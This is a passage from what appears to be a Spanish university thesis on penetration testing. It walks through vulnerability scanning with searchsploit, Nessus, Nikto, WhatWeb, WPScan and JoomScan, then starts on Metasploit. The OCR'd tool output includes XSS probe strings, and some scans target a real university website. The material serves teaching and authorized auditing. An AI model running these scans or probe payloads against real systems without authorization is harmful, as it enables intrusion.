correctamente algun servicio, por ejemplo dejar las credenciales por defecto.

e Vulnerabilidades de servicio: ocurren cuando la version de un servicio publico
contiene algun tipo de vulnerabilidad interna, por ejemplo la version de FTP
contiene un desbordamiento de buffer.
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Analisis manual de vulnerabilidades

En éste tipo de analisis como su nombre indica el auditor realizard una busqueda
manual de vulnerabilidades de cada uno de los servicios activos de cada equipo de la
organizacién encontrado durante fase de recogida de informacion.

Para la busqueda de vulnerabilidades, el auditor debera tener en cuenta diferentes
pardmetros como el tipo de servicio, el puerto por el que se comunica, la version del
servicio o el banner de éste, entre otros. Toda esta informacién obtenida en la fase anterior
debera estar debidamente estructurada y almacenada para agilizar el proceso de analisis.

Existen diversas herramientas de busqueda de vulnerabilidades, las cuales
principalmente funcionan por medio de palabras clave a modo de buscador, de modo que
indicando el tipo de servicio, version de servicio y demas parametros que el auditor
considere oportunos, la herramienta retornara una lista con la vulnerabilidad descubierta y
el Exploit que aprovecha ésta. Para éste tipo de busqueda de vulnerabilidades cobrard
mucha importancia la experiencia del auditor en este campo, pues cualquier pequefio
detalle puede dar lugar a un resultado muy diferente.

Algunas de estas herramientas son las siguientes:
e Searchsploit:

Es una herramienta de busqueda de vulnerabilidades por linea de comandos de
funcionamiento sencillo. Contiene una copia local de los Exploits archivados en Exploit-DB y
para realizar una busqueda simplemente habra que indicar las distintas palabras clave por
las que buscara en la base de datos. El comando con el que se buscard sera el siguiente:

“searchsploit <Palabra Clave 1> ... <Palabra Clave N>"

:~# searchsploit linux wnc

(/usr/share/

| exploits/ 75.py
exploits/ d 28338. txt

Shellcodes: No Result

Img 35: Ejemplo de uso de SEARCHSPLOIT. 1

Otra interesante funcionalidad de esta herramienta es la de analizar de manera
automatica un documento de salida en formato XML generado por la herramienta NMAP
(nmap —oX <NombreDocumento.xml>). Para utilizar esta funcionalidad primero habra que
generar el fichero en formato XML y posteriormente habrd que ejecutar el siguiente
comando:
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“searchsploit -nmap <NombreDocumento.xm/>"

:~# searchsploit --nmap prueba.xml
rchSploit's XML mode (without verbose enabled). To enable: searchsploit
v --xml...
] Reading: 'prueba.xml’

[i] /usr/bin/searchsploit -t microsoft windows rpc

'Lsasrv.dll'

pCcom!
pCcom!
pcom' e 5 .
DCOM' R e 0i /remote/70.
DCOM' R e 01 /remote/76.
DCOM' er i
DComz2"'
' 2' Unive
DCE- svcctl Cha oits/ s/3453.py
DCOM Interface 01 ‘remote/22917.txt
- DNS Remote Buf 01i /remote/3746. txt
2000/NT 4 - Loca 01 /remote/5.c
8.1 - DCOM DCE/ L xploi /local/37768. txt

Img 36: Ejemplo de uso de SEARCHSPLOIT. 2

e Google:

Otro método simple para buscar vulnerabilidades es el buscador de Google, que
simplemente con buscar el resultado del banner que nos ofrece Nmap de los distintos
servicios activos encontrados afiadiendo la palabra “Exploit” al final, nos mostrara una
serie de paginas en las que se detallan las posibles vulnerabilidades relativas al servicio que
se esté investigando.

Resulta muy recomendable acceder a los resultados que ofrecen las principales pdaginas
dedicadas a Ciberseguridad como pueden ser https://www.securityfocus.com/,
https://www.rapid7.com/ o https://www.exploit-db.com/ entre otras, en lugar de
acceder a servicios web poco conocidos.

(Captura)

Analisis automatico de vulnerabilidades

Existen una serie de herramientas capaces de automatizar el proceso de busqueda de
vulnerabilidades. Estas facilitaran en gran medida la labor del auditor, aunque no conviene
hacer un uso abusivo de ellas, pues el auditor perdera en mayor o menor medida el control
de las acciones que se estan llevando a cabo sobre el sistema objetivo. Una pérdida de
control de las pruebas que se estan llevando a cabo podria provocar la deteccion de éstas
por el sistema de proteccion de la organizacion o incluso podrian provocar una denegacion
de servicio.
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Resulta muy recomendable para el auditor conocer el funcionamiento de la
herramienta que vaya a utilizar, asi como realizar una correcta configuracidn de ésta antes
de comenzar las pruebas.

e Nessus:

Esta herramienta es una de las mas importantes en cuanto a andlisis automatico de
vulnerabilidades se refiere, dando al auditor la posibilidad de optar por el tipo de escaneo
gue mejor se adapte en base a la situacion en que se encuentre.

Nessus es una herramienta privada y para poder utilizarla de manera profesional habra
gue obtener una licencia, aunque también dispone de una versidn gratuita en la cual se
podran realizar un total de dieciséis escaneos pudiendo utilizar varias de sus principales
funciones.

Una vez se ha instalado Nessus en el equipo del auditor, habrd que arrancar el servicio
gue permitird utilizar la herramienta con el siguiente comando:

“/etc/init.d/nessusd start”

La principal forma de emplear esta herramienta es utilizando la interfaz de usuario
de Nessus a través del navegador web. Para acceder a la interfaz simplemente habra que
indicar al navegador web la siguiente direccidn: “https://127.0.0.1:8834”.

Nessuso‘ Scans Settings

Scan Templates

< Back to Scans

My Seans
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Img 37: Panel principal de NESSUS

@ Al Scans

Scanner
i Trash
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https://127.0.0.1:8834/
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Como se puede apreciar Nessus consta de multitud de tipos de escaneos disponibles
para el auditor, aunque en éste caso, como se trata de una cuenta gratuita se encuentra
restringido el uso a varios de éstos.

El escaneo mas comun que se utilizard serd el “Basis Network Scan” que en base a una
direccién IP, utilizard una serie de herramientas internas para enumerar los diferentes
servicios y una vez identificados analizara cada uno de ellos en busqueda de posibles
vulnerabilidades. Antes de realizar es escaneo habra que indicarle un nombre, una breve
descripcién, la carpeta donde almacenar los resultados y la direcciones o rango de
direcciones IP a las que ird destinado el escaneo.

Nessuso‘ Scans Settings

New Scan / Basic Network Scan

< Back to Scan Templates

i My Scans
@ All Scans N
Settings Credentials Plugins
@ Trash
BASIC -
Name Prueba TFG_Metasploitable
General
© Policies
Schedule o
@ Plugin Rules Description Pruebas sobre una maquina virtual
& scanners Notifications Metasploitable.
DISCOVERY
ASSESSMENT Folder My Scans -
REPORT
Targets
ADVANCED af 192.168.1.80
Upload Targets Add File

Emn -

Img 38: Configuracion de NESSUS. 1
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En éste punto el auditor podrd guardar el estado del escaneo para lanzarlo mas tarde
seleccionando la opcién “SAVE” o podra ejecutarlo en ese mismo momento con la opcidn
“LAUNCH”.

Nessus ) Scans  Settings

New Scan / Basic Network Scan

« Back to Scan Templates

& My Scans
& Al Scans §
Settings Credentials Plugins
@ Trash
BASIC v
Name Prueba_TFG_Metasploitable
General
© rolicies
_ Schedule
Plugin Rules Description Pruebas sobre una maquina virtual
& scamners Notifications Metasploitable
DISCOVERY
ASSESSMENT Folder My Scans -
REPORT
Targets
ADVANCED g 192.168.1.80
Upload Targets Add File

o Bl P
Launch

Img 39: Configuracion de NESSUS. 2

Una vez finalice el escaneo se mostrardn por pantalla todas las vulnerabilidades
encontradas asi como el nivel de gravedad de éstas. Ademas de todo esto, Nessus mostrara
una descripcion, posibles Exploits que aprovechen dicha vulnerabilidad, su probable
solucion y una serie de enlaces externos de interés. Toda esta informacién sera muy
relevante en la fase de generaciéon de informes.
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Prueba_TFG_Metasploitable Configure  Audit Trail Launch ~ Export ¥
- ¢ Back to My Scans
@ My Scans
& Al Scans
Hosts 1 Vulnerabilties 69 Remediations 2 History 2
@i Trash
Filter ~
Q Folicies Host Vulnerabiliies Scan Details
Plugin Rul
@ Plugin Rules 102.168.1.80 a DT Name: Prueba_TFG_Metasploitable
& scanners Status Completed
Policy: Basic Network Scan
Scanner. Local Scanner
Start Today at 2:21 PM
End Today at 2:29 PM
Elapsed & minutes
‘Vulnerabil
’ ® Criical
High
Medium
' e Low
® Info

Img 40: Resultado de NESSUS. 1

Prueba_TFG_Metasploitable / 192.168.1.80 Configure  Audit Trall Launch Export
_ < Back to Hosts
@ My Scans
@ All Scans
Vulnerabilities 69
i Trash
Filler ~
© Policies Sev Name: Family Count Host Details
Plugin Rules
@ > SSL(Multiple Iss...  Gain & shell remotely 3 1P 192.168.1.80
& scanners MAC: 08:00:27:1E:DL:A9
Bind Shell Backdoor D. Backdoors 1 os Linux Kemel 2.6 on Ubuntu 8.04
(hardy)
NFS Exported Share In...  RPC 1 Start Today at 2:21 PM
End: Today at 2:20 PM
Unix Operating System... General 1 Flapsed 8 minutes
KB: Download
UnreallRCd Backdoor Backdoors 1
Vulnerabilities
VNC Server ‘password’ Gain a shell remotely 1

. Critical
High

4 DNS (Multiple Iss...  DNS 5

Medium
® Low
MIXED 2 SSL(Multiple Iss Service detection 3 NG * Info
MIXED 3 Web Server (Multi ‘Web Servers 3
rlogin Service Detection Service detection 1
rsh Service Detection Service detection 1

= SSL (Multiple Iss General 28

Img 41: Resultado de NESSUS. 2
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Como se ha comentado anteriormente, no es conveniente por parte del auditor realizar
los escaneos de vulnerabilidades con las configuraciones que vienen por defecto en la
herramienta, pues no se adaptan a todas y cada una de las situaciones que se encontraran.
Para poder definir manualmente la mayoria de los parametros que se usardn para realizar
el escaneo de vulnerabilidades se utilizara el tipo de escaneo “Advanced Scan”.

Nessusmm Scans Settings A nessus o

New Scan / Advanced Scan

< Back to Scan Templates

@ My sScans
My Scans (S) Settings Credentials Compliance Plugins

BASIC v

Name Prueba TFG_Metasploitable_Advanced
General
Q@ Policies
- Schedule
Plugin Rules Description Escaneo avanzado de vulnerabilidades.
@ Scanners Notifications
DISCOVERY
ASSESSMENT Folder My Scans -
REPORT
Targets
ADVANCED 9 192.168.1.80
Upload Targets Add File

. Cancel

Img 42: Escaneo avanzado de NESSUS. 1
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Para este tipo de escaneo habra que indicar los mismos pardmetros que al anterior,
pero ademas se podra indicar otra gran cantidad de pardmetros que permitirdn realizar un
escaneo con un gran nivel de granularidad, adaptandose asi mejor a cada situacion que se
pueda encontrar el auditor.

Nessusol Scans  Settings

BASIC

Remote Host Ping

DISCOVERY ~
@ My scans Ping the remote host ®
. Host Discovery
i Al Scans
P Port Scanning

Trash .
o General Settings
Service Discovery
v Test the local Nessus host

ASSESSMENT
@ Policies REPORT
@ Plugin Rules ADVANCED Use fast network discovery
& scanners

Ping Methods

v ARP
v TCP

Destination ports built-in

¥ ICMP

Assume ICMP unreachable from the gateway means the host is down

Maximum number of retries 2

ubP

Fragile Devices

Img 43: Escaneo avanzado de NESSUS. 2

Nessuso Scans Settings
Settings Credentials Compliance Plugins
@ My Scans
L)L BASIC .
& Al Scans General Settings
DISCOVERY
f Trash «  Enable safe checks
ASSESSMENT
REPORT Stop scanning hosts that become unresponsive during the scan
@ Policies ADVANCED v
Scan IP addresses in a random order
@ Plugin Rules
& scamners

Performance Options

Slow down the scan when network congestion is detected

Network timeout (in seconds) 5
Max simultaneous checks per host 5
Max simultaneous hosts per scan 100

Max number of concurrent TCP sessions per host

Max number of concurrent TCP sessions per scan

Debug Settings

Log scan details

Enable plugin debugging

Img 44: Escaneo avanzado de NESSUS. 3
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Analisis de vulnerabilidades web

En la actualidad la inmensa mayoria de las Pymes cuentan con una aplicacién o servicio
web que oferta algun tipo de prestacién en la red y en algunas ocasiones el principal
negocio de éstas se encuentra totalmente enfocado al sector online. Este hecho asociado a
la falta de inversién de recursos que este tipo de organizaciones destina a Ciberseguridad,
hacen de estos sistemas el foco principal de los Ciberdelincuentes.

Para el diseno de las aplicaciones web es muy comun utilizar un gestor de contenidos o
CMS (Content Managment System) que se actualiza con frecuencia para corregir los
distintos fallos de seguridad que la comunidad encuentra y reporta, otorgando asi una capa
de seguridad adicional a las aplicaciones web. El problema con los gestores de contenido
surge en el momento de disefiar la aplicacién web si la organizacién recurre a la versién
mas reciente debido a que con toda probabilidad al cabo de un tiempo se encontraran
fallos de seguridad capaces de comprometer la aplicacion y puede que el/los encargados de
mantener la aplicacidn no estén al corriente de nuevos fallos de seguridad para la versiéon
gue instalaron o simplemente olvidaron actualizar con frecuencia el software.

e Analisis del servidor web

Para el analisis de vulnerabilidades de un servidor web existe una herramienta muy
potente llamada Nikto. Esta herramienta es muy utilizada debido a su calidad y a la gran
cantidad de funcionalidades adicionales que ofrece, entre las que se puede destacar el
soporte SSL, posibilidad de utilizacion de Proxies o la generacién de reportes muy
completos con la posibilidad de exportar a otros formatos como XML, HTML o CSV (Entre
otros).

Principales opciones de Nikto:

“nikto —h”

:~# nikto -h
Option host requires an argument

-config+ Use this config file
-Display+ Turn on/off display outputs
-dbcheck check database and other key files for syntax errors
-Format+ save file (-o) format
-Help Extended help information
-host+ target host
-id+ Host authentication to use, format is id:pass or id:pass:realm
-list-plugins List all available plugins
-output+ Write output to this file
-nossl Disables using SSL
-no404 Disables 404 checks
-Plugins+ List of plugins to run (default: ALL)
-port+ Port to use (default 80)
-root+ Prepend root value to all requests, format is /directory
-ssl Force ssl mode on port
-Tuning+ Scan tuning
-timeout+ Timeout for requests (default 10 seconds)
-update Update databases and plugins from CIRT.net
-Version Print plugin and database versions
-vhost+ Virtual host (for Host header)
+ requires a value

Note: This is the short help output. Use -H for full help text.

Img 45: Opciones de Nikto
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Un ejemplo de su funcionamiento mas simple seria el siguiente:

“nikto —h <DireccionlP o Dominio>"

:~# nikto -h 192.168.0.160

Img 46: Ejecucién de Nikto

Como se observa, la herramienta ofrece gran cantidad de informacién referente al tipo
de servidor, la versién y los diferentes médulos que operan sobre el servidor que se esta
analizando. Ademas aportara otro tipo de informacién importante como pueden ser los
métodos HTTP permitidos en dicho servidor.

:~# nikto -h 192.168.6.160
Nikto vZ.1.6

2.168.0.160
2.168.0.160
Target Port:
Start Time:

.8 (Ubuntu) DAV/2
x-powered-by header: PHP/5.2.4-2ubuntu5.10
> anti-clickjacking X-Frame-Options header is not present.
not defined. This header can hint to the us
This could allow the user ag

Img 47: Resultados de Nikto. 1

En segundo lugar Nikto ofrece informacién acerca de todas las posibles
vulnerabilidades encontradas en el analisis, ademas de informacién que se encuentra
publica en el servidor, pero que probablemente no fue contemplada para encontrarse en
esa situacion. Esta herramienta ademadas realiza un analisis de los directorios que se
encuentran accesibles, pudiendo en muchas ocasiones contener datos sensibles.
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Uncommon header 'tcn' found, with contents: list
Apache mod negotiation is enabled with MultiViews, which allows attackers to easil
index.php
Apache/2.2.8 appears to be outdated (current is at least Apache/2.4.12). Apache 2.
Web Server returns a valid response with junk HTTP methods, this may cause false p
OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
/phpinfo.php?VARIABLE=<script>alert('Vulnerable')</script>: Output from the phpinf
0SVDB-3268: /doc/: Directory indexing found.
0SVDB-48: /doc/: The /doc/ directory is browsable. This may be /usr/doc.
0SVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially s
0SVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AAP0O1ACF42: PHP reveals potentially s
0SVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially s
0OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AAPO1ACF42: PHP reveals potentially s
0SVDB-3092: /phpMyAdmin/changelog.php: phpMyAdmin is for managing MySQL databases,
Server leaks inodes via ETags, header found with file /phpMyAdmin/ChangelLog, inode
0SVDB-3092: /phpMyAdmin/ChangelLog: phpMyAdmin is for managing MySQL databases, and
0SVDB-3268: /test/: Directory indexing found.
0SVDB-3092: /test/: This might be interesting...
/phpinfo.php: Output from the phpinfo() function was found.
0SVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo()
0SVDB-3268: /icons/: Directory indexing found.
/phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script>: Output from t
/phpinfo.php?cx[]=H7LVT1FziZwOLa9WHNi9RwMrWKzWeaA72CfN1dZjtVv804hEOGgSE8Wn1Hqdj7WR2
aT6QBKKhOY6] jrsnQejIulPWYP2gkgVv8zWZcs4MrosNaa7gYBvILKvwKYS j2wbWYJrAanBHaoRX2MkN31Mi

+
+
d:
+
TE
+
+
+
+
+
+
+
B
+
<L
+
+
+
+
+
4
+
=k

Img 48: Resultados de Nikto. 2

Como se ha comentado anteriormente, esta herramienta dispone de un gran nimero
de opciones de configuracion, quedando a eleccion del auditor la eleccion las que mejor se
adapten a la auditoria que se esté realizando. Una alternativa muy interesante para el
auditor puede ser extraer la informacién obtenida de la herramienta en un archivo XML,
mediante la opcidn “-0” para indicar el nombre del archivo y “~-Format <Tipo de Formato>"
para elegir el tipo de formato.

“nikto —h <DireccionlP o Dominio> -o <Nombre Archivo> -Format XML”

:~# nikto -h 192.168.0.160 -o PruebaNikto.xml -Format xml]j

Img 49: Ejecucion de Nikto con archivo de salida
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1 abe v || @ PruebaNikto

Guardar = 0606
<IDOCTYPE niktoscan SYSTEM " lib/nikto/docs/n Ud-c dtd
niktoscan hoststest kto -Format xml" version="2.1.6" scanstart="Wed May 23 16:26:58 2818"

' ser:c“d nxmlversion="1.2">

nend="wed Dec 31

ta m\pr
site

osvdbid="0" osvdblink="http://osvdb.org/0" method="GET">

! [CDATA[Retrieved x-powered-by header: PHP/5.2.4-2ubuntu5.10]]></description>
CDATA[/]]></uri>

<namelink=<![CDATA[http://192.168.0.160:80/]]></namelink>
<iplink><![CDATA[http://192.168.0.160:80/] ]></iplink>

</item>

=:1.Tem l(l"""(""j‘ svdbid="0" o nk="http://osvdb.org/e" method="GET">
< .,CDPTP The anti-clickjacking X-Frame-Options header is not present.]]></descripticn=
></uri>
(DﬂTﬂ [http://192.168.0.160: 80/]] ><
[ D»’-\Tﬂ [http://192.168.0.160:80/]]>

/namelink>
plink>

ylink="http://osvdb.org/0" method="GET"
tection header is not defined. This header can hint to the user agent to protect against some forms

<uri><! [CDATA[/]]> /Ir’l
1ame 11k <! [CDATA[http://192.168.0.160: 80/]] </namelink>

<iplink=<![CDATA[http://192.168.0.160:80/]]></iplink>

</item=

<item id=" vdbid= svdblink="http://osvdb.org/0" method="GET">

<description I:CD.ﬂT.ﬂ The X- Content Type- Optlons header is not set. This could allow the user agent to render the content of the site
in a different fashion to the MIME type]l=</description=

<uri><![CDATA[/]]></uri>
1 <! [CDATA[http://192.168.0.160: 80/]] </namelink>
<! CD»GTA [http://192.168.0.160:80/]]></iplink>

XML +  Anchura del tabulador: 8 » Ln1,Coll hd INS

Img 50: Archivo resultado de Nikto

¢ Identificacion del CMS

WHATWEB es una herramienta preinstalada en Kali que se puede utilizar para analizar
si una aplicacidn web ha sido creada y gestionada a través de un CMS. Esta aplicacién entre
otras funciones, simplemente indicindole la URL del servicio web, realizard un analisis y
posteriormente mostrard toda la informacién que ha sido capaz de obtener.

“whatweb —v <URL>"

:~# whatweb campusvirtual.u

virtual.unex.es [381 Mov :rmanently] Country[SPAIN][ES], HTTPServer[nginx
5], RedlrectLocatlon[http I rtuz ?], Strict-Transport-
] ubDomain 1, T1t1e[301 Moved Permanently], ngi

://campusvirtual.unex.es/7 [200 OK] Country[SPAIN][ES], HTTPServer[nginx], IP[158.49
.65], Meta-Refresh-Redirect[http ; irtual.u ortal/], Strict-Transport-5S
ecurity[ms 76 ; inclu bDomains; 0 1], T1t1e[Red1r191endo al portal princ

ipal del Campus v1rtua1 de la Universidad de Extremadura] UncommonHeaders[r
y,content-security-po - yrt-only,content- olicy,x-content-type-options]
Frame-Options g n], X-XS5-Protection[1; L ], nginx

http 1mpu.v1|fu11 unex. I

Drupal, HTML5, HTTPServer[nginx], IP[15 9.17.65], MetaGenerator[Dru

.org)], Script[t script], Strict-Transport-Security[ma

mains; preload], Title[Portal del Campus U1rtua1 de la UEx | Ulcerrectorado de Unlver51da
d Digital], UncommonHeaders|: upal x-generator,referrer-policy,content-security-p

11y, content-security 1 t-type-options], X-Frame-Options][
n], X=-XSS-Protection]| 0 hlock], nginx

Img 51: Ejemplo de uso de WHATWEB
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Otra herramienta que se podrd utilizar para esta labor es CMSsc4n. Esta al contrario
que WHATWEB, estd enfocada principalmente al descubrimiento del CMS, por lo que en
ciertos casos puede llegar a aportar mas informacion que la anterior.

Para poder utilizarla en Kali habrd que instalarla previamente siguiendo los pasos que
se detallan en la siguiente URL: https://github.com/n4xh4ck5/CMSsc4n .

Una vez instalada, habrd que definir un fichero con extension “txt” o “json” donde se
incluiran todas las URL de los diferentes servicios web que se analizaran. Por defecto la
herramienta realizara el andlisis sobre Wordpress, Drupal, Joomla, Prestashop o Mooodle,
pudiendo indicar cualquiera de ellas por separado con la opcién “-c”.

“Python cmssc4n -i <Fichero>”

[dampusvirtual.une

[ 1 linea leida ]

Img 52: Fichero de nombres de dominio
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:~/CMSsc4n# python cmssc4n.py -i NombresDominio.txt

*** Tpol to scan if a domain is a CMS (Wordpress , Drupal, Joomla, Prestashop or Moodle)
and return the version

*¥* Aut : Ignacio Brihuega Rodriguez a.k.a N4xh4ck5

** Yersion 2.0

*#* DISCLAMER: This tool was developed for educational goals.

** Github: https://github.com/n4xh4cks/

** The author is not responsible for using to others goals.
** A high power, carr a high responsibility!

Tool to scan if a domain is a CMS (Wordpress , Drupal, Joomla, Prestashop or Moodle) and
return the version

Example of usage: python cmsc4n.py -i input.json
Obtainning the CMS last versions...

Wordpress version: 4.9.8
3.5.2
on: 3.9.0
ut of range
False
global name 'PRESTASHOP_LAST CMS VERSION' is not defined

Img 53: Ejemplo de uso de CMSSC4N

e Identificacidn de vulnerabilidades y plugins de los CMS

Una vez se ha detectado el gestor de contenido sobre el que se ha desarrollado el
servicio web, el siguiente paso que debe realizar el auditor sera analizar la versién y el tipo
de gestor de contenido en busqueda de vulnerabilidades.

Para esta labor existen una serie de herramientas especializadas en cada uno de los
principales CMS, como pueden ser WordPress o Joomla, que vienen preinstaladas en Kali.

Para el analisis de vulnerabilidades de un sitio web con WordPress el auditor podra
utilizar WPScan. Al ejecutar esta herramienta se lleva a cabo un andlisis rapido del sitio web
con el fin de identificar el tema activo y los diversos problemas de seguridad que pueda
contener.
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La utilizacion mas basica de la misma sera la siguiente:

“ruby wpscan.rb --url <SitioWeb>"

T
| (| (]
AN

\ |

N
,

curity Scanner by the WPScan Team
Version 2.9.4
Sponsored by Sucuri - https://sucuri.net
thicalhack3r, @erwan lr, @ FireFart

The remote host tried to irect to: http://www . ommmem
[?] Do you want follow the r rection ? [Y]es [N]o [A]lbort,

URL: http://www. o

Started: Tue Nov 13 13:

CONTENT-ENCODING: gzip
LINK: <http://www.owssmeme. es/wp-json/>; rel="https://api.w.o0
hortlink

SERVER: Apache

VIA: 1.1 varnish (Varnish/6.1)

X-POWERED-BY: PHP/7.2.12

X-VARNISH: 709558290

: http://www.omssmewe. es/robots. txt [HTTP 200]
XML-RPC Interface available under: http://www. s, cs/xmlrpc.php [HTTP 485]
http://www . S 'wp-json/ [HTTP 200]
es/wp-json/wp/v2/users

Img 54: Ejemplo de uso de WPSCAN. 1
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Found an RSS : http://
Detected 1 user from RSS fe
-+

[HTTP 200]

sed on 2018-08-02)
stylesheets numb

ntified from advanced fingerp

Enumerating plugins from passive detection
4 plugins found:

E] add-to-any - v1.7.32
Late 1.7.32 (up to date)
Last upda 2018-10-26T22:6 0.000Z
Location: http://www. .es/wp-content/plugins/add-to-any/
Readme: http://www! es/wp-content/plugins/add-to-any/README. txt
contact-form-7 - v5.0.5
est version: 5.0.5 (up to date)
ast 2018-10-29T23: : .00z
ocation: http://www FIEN

" ‘wp-content/plugins/contact-form-7/
http://www.

Jwp-content/plugins/contact-form-7/readme. txt

Tue Nov 13 13:14:56 2018
00:00:32
: 90
69.574 MB

Img 56: Ejemplo de uso de WPSCAN. 3

Ademas de la funcionalidad bdasica WPSCAN tiene otras funcionalidades muy
interesantes para el auditor como pueden ser:

Comprobar vulnerabilidades en los Pluggins.

“ruby wpscanr.rb —url <SitioWeb> --enumerate vp”

Enumerating installed plugins (only ones with known vulnerabilities)
Time: 00:02:18 <== > (1670 / 1670) 100.00% Time: 00:02:18
No plugins found

Tue Nov 13 13:43:03 2018
00:02:42
: 1738
Memory us 122.891 MB

Img 57: Utilidad ENUMERATE VP de WPSCAN

Comprobar vulnerabilidades en los temas.
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“ruby wpscanr.rb —url <SitioWeb> --enumerate vt”

Enumerating installed themes (only ones with known vulnerabilities)

Time: (287 / 287) 100.00% Time: 00:00:24

d: Tue Nov 13 13:46:41 2018
i 00:00:56
: 379
131.316 MB

Img 58: Utilidad ENUMERATE VT de WPSCAN

e Enumeracion de usuarios.

“ruby wpscanr.rb —url <SitioWeb> --enumerate u”

Enumerating usernames

: Tue Nov 13 13:49:45 2018
i PO:00:34
: 104

. 70.023 MB
Img 59: Utilidad ENUMERATE U de WPSCAN

Para el andlisis de vulnerabilidades de un sitio web con Joomla el auditor tendrd
disponible la herramienta JoomScan. Su uso resulta muy simple y similar a WPSCAN, por lo
gue simplemente habra que indicarle la direccidn del servicio web que se quiere auditary la
herramienta realizara todo el trabajo.

En una primera instancia, JoomScan intentara averiguar la versidon que se encuentra
instalada en el servidor. Ademas, realizara un analisis automatico de los plugins instalados
e indicara informacidn de la version de PHP asi como también detalles sobre el tipo de
servidor.

“joomscan —u <SitioWeb>"
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Update Date
Authors

X name
@OWASP_JoomScan , @rezesp , @Ali Razmjo® , @OWASP

Img 60: Ejemplo de uso de JOOMSCAN. 1

Img 61: Ejemplo de uso de JOOMSCAN. 2
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Img 62: Ejemplo de uso de JOOMSCAN. 3

4.4 Explotacion

Durante esta fase el auditor, recurriendo a toda la informacidn extraida y almacenada
en los pasos anteriores, tendrd que determinar los diferentes Exploits utilizables para los
posibles fallos de seguridad encontrados y comprobar que efectivamente son explotables.

Existen multitud de herramientas cuyo fin es facilitar la tarea de explotacién al auditor,
teniendo éste incluso la posibilidad de llevar a cabo la fase de manera totalmente manual.
La herramienta que se utilizard para el completo desarrollo de esta fase e incluso de la
siguiente fase de Post-Explotacion se trata de METASPLOIT.
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Framework Metasploit

@metasploit”

Img 63: Framework Metasploit

Metasploit es un framework de explotacién que auna gran cantidad de herramientas
muy utilizadas en el dia a dia por los auditores de seguridad para llevar a cabo sus tests de
intrusion. Ofrece al usuario la posibilidad de utilizar Exploits de calidad comercial pero
ademas, una infraestructura para realizar otro tipo de tareas referentes a distintas fases
del proceso de la auditoria como pueden ser la recoleccion de informacién, escaneos de
vulnerabilidades, post-explotacidén, automatizacion de tareas de auditoria o incluso la
generacion de sus propios Exploits.

Aungue sobre éste framework se pueden llevar a cabo las fases tanto de Recogida de
Informacion como la de Andlisis de Vulnerabilidades sin ningun tipo de problema, en la
mayoria de casos resulta recomendable utilizar herramientas especializadas en la tarea que
se lleve a cabo. Esto aportara mayor flexibilidad al auditor e incluso tendra la posibilidad de
utilizar mas de una para un mismo propdsito que aporte informacidn extra a la que aporta
la herramienta principal utilizada. Una opcidn muy interesante de Metasploit es la
posibilidad de importar los datos obtenidos mediante el uso de otras herramientas
compatibles directamente a su base de datos.

Al igual que la mayoria de las herramientas que se han visto a lo largo de las diferentes
fases, Metasploit también viene preinstalado en Kali. Antes de iniciarla conviene
comprobar si el servicio de base de datos Postgresql, sobre el que funciona la base de datos
de Metasploit, esta en funcionamiento. Para comprobar si el servicio esta activo se utilizara
la siguiente linea de comando:

“service postgresql status”
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:~# service postgresql status
® postgresql.service - PostgreSQL RDBMS

Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
Active: inactive (dead)

:05:06 kali systemd[1]: Starting PostgreSQL RDBMS...
:05:06 kali systemd[1]: Started PostgreSQL RDBMS.
:14:18 kali systemd[1]: Stopped PostgreSQL RDBMS.
~# I

Img 64: Estado de Postgresqgl. 1

Si el servicio se encuentra activo se podra iniciar la herramienta sin problema, de lo
contrario se activara el servicio con la siguiente linea de comando:

“service postgresql start”

:~# service postgresql start
:~# service postgresql status
® postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor preset: disabled)
Active: active (exited) since Fri 2018-05-25 14:16:54 EDT; 33s ago

Process: 1887 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 1887 (code=exited, status=0/SUCCESS)

may 25 14:16:54 kali systemd[1]: Starting PostgreSQL RDBMS...
may 25 14:16:54 kali systemd[1]: Started PostgreSQL RDBMS.

Img 65: Estado de Postgresql. 2

Una vez sea evidente que el servicio de base de datos se encuentra activo se puede
proceder a iniciar el Framework Metasploit.
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“msfconsole”

. hmMMMMMMMMMMNddds\ . . . //M\\. . . /hddddmMMMMMMNoO
: Nm - / NMMMMMMMMMMMMM ¢ & NMMMMm & & MMMMMMMMMMMMMMy
.sm/ " -yMMMMMMMMMMMM ¢ & MMMMMN . & MMMMMMMMMMMMMh *
-Nd>  : MMMMMMMMMMM ¢ & MMMMMN S & MMMMMMMMMMMM b
-Nh* . yMMMMMMMMMM ¢ < MMMMMN £ MMMMMMMMMMMm /
‘o0/ -hd: .sNd  : MMMMMMMMMM % & MMMMMN & & MMMMMMMMMMm /
. yNmMMh B i e = ;
. ShMMMMN
“///omh |
/MMMMMMMMMMMMMMMMMMd .
-hMMms sddd+ : dMMmNMMh .

. SMMmo . -dMd--:mN/"
/yddy/: ..

April 25, 1848 6%6°66°66
It's always cool in the lab
Health: Overweight
Caffeine: 12975 mg %
Hacked: ALl the things

Press SPACE BAR to continue

metasploit v4.16.32-dev ]
1727 exploits - 987 auxiliary - 300 post ]
507 payloads - 40 encoders - 10 nops ]
Free Metasploit Pro trial: http://r-7.co/trymsp ]

Img 66: Inicio de Metasploit

Como se puede apreciar, justo al iniciar el framework se aporta informacién acerca de
la versién de la herramienta, los diferentes Exploits disponibles, médulos auxiliary, post,
etcétera.

met olt v4.16.32-de

ts - 987 auxiliary - 300 post

Y

1727 exploi

]
]
507 payloads - 40 encoders - 10 nops ]
=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

Img 67: Informacion inicial de Metasploit
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Un andlisis de uso completo de todas las funcionalidades que puede aportar esta
herramienta y todas las acciones que se pueden llevar a cabo con ella seria demasiado
extenso para incluirlo en este estudio, pudiendo llegar a ocupar la totalidad de otro trabajo
de fin de grado o incluso libros de texto por lo que se detalla un uso simplificado de la
herramienta, mostrando sus funcionalidades y comandos mas elementales.

Un modo de tomar consciencia de la magnitud del framework Metasploit es utilizar el
comando de ayuda “HELP” sobre la pantalla principal. De esta forma se mostrardn por
pantalla todos los posibles comandos utilizables directamente sobre la consola de la
